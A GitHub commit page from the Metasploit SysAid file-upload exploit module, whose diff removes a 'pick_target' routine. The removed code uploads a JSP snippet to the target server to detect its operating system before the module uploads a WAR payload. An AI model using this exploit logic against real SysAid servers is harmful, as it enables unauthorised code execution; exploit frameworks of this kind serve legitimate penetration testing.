Skip to content

Commit 70a2247

Browse files
author
Pedro Ribeiro
committed
Pick target is not needed...
1 parent 7483e77 commit 70a2247

File tree

1 file changed

+0
-30
lines changed

1 file changed

+0
-30
lines changed

modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb

Lines changed: 0 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -77,36 +77,6 @@ def check
7777
end
7878

7979

80-
def pick_target
81-
unless target.name == 'Automatic'
82-
return target
83-
end
84-
85-
print_status("#{peer} - Determining target")
86-
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
87-
url = upload_payload(os_finder_payload, false)
88-
89-
res = send_request_cgi({
90-
'uri' => normalize_uri(datastore['TARGETURI'], url),
91-
'method' => 'GET',
92-
'cookie' => @cookie,
93-
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
94-
})
95-
96-
if res && res.code == 200
97-
if res.body.to_s =~ /Linux/
98-
register_files_for_cleanup('webapps/' + url)
99-
return targets[1]
100-
elsif res.body.to_s =~ /Windows/
101-
register_files_for_cleanup('root/' + url)
102-
return targets[2]
103-
end
104-
end
105-
106-
nil
107-
end
108-
109-
11080
def send_payload(war_payload, tomcat_path, app_base)
11181
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
11282
print_status("#{peer} - Uploading WAR file...")

0 commit comments

Comments
 (0)